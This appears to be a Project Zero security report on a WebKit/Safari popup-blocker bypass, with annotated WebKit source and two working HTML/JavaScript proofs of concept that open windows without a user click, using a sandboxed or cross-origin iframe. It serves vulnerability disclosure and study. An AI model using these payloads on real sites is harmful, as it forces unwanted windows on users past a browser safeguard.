1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137 | <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1050
The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail.
Here's some snippets.
RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString,
DOMWindow& activeWindow, DOMWindow& firstWindow)
{
...
---------------- (1) -----------------------
if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event.
// Because FrameTree::find() returns true for empty strings, we must check for empty frame names.
// Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker.
if (frameName.isEmpty() || !m_frame->tree().find(frameName))
return nullptr;
}
--------------------------------------------
...
RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame);
return result ? result->document()->domWindow() : nullptr;
}
RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction)
{
...
RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created);
if (!newFrame)
return nullptr;
...
}
RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created)
{
ASSERT(!features.dialog || request.frameName().isEmpty());
created = false;
---------------- (2) -----------------------
if (!request.frameName().isEmpty() && request.frameName() != "_blank") {
if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) {
if (request.frameName() != "_self") {
if (Page* page = frame->page())
page->chrome().focus();
}
return frame;
}
}
--------------------------------------------
<<<<<----------- failed to find the frame, creates a new one.
...
}
The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event.
Let's look into |findFrameForNavigation|.
Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument)
{
Frame* frame = m_frame.tree().find(name);
// FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document.
if (!activeDocument)
activeDocument = m_frame.document();
if (!activeDocument->canNavigate(frame))
return nullptr;
return frame;
}
bool Document::canNavigate(Frame* targetFrame)
{
...
if (isSandboxed(SandboxNavigation)) { <<<--------------- (1)
if (targetFrame->tree().isDescendantOf(m_frame))
return true;
const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors.";
if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top())
reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set.";
printNavigationErrorMessage(targetFrame, url(), reason);
return false;
}
...
if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2)
return true;
...
return false;
}
There are two points to make |Document::canNavigate| return false.
(1). Using a sandboxed iframe.
<body>
<iframe name="one"></iframe>
<iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>
<script>
function main() {
two.eval('open("https://abc.xyz", "one");');
}
main()
</script>
</body>
(2). Using a cross-origin iframe.
-->
<body>
<iframe name="one"></iframe>
<script>
function main() {
document.body.appendChild(document.createElement("iframe")).contentDocument.location =
"data:text/html,<script>open('https://abc.xyz', 'one')</scri" + "pt>";
}
main()
</script>
</body>
<!--
Tested on Safari 10.0.2 (12602.3.12.0.1).
-->
|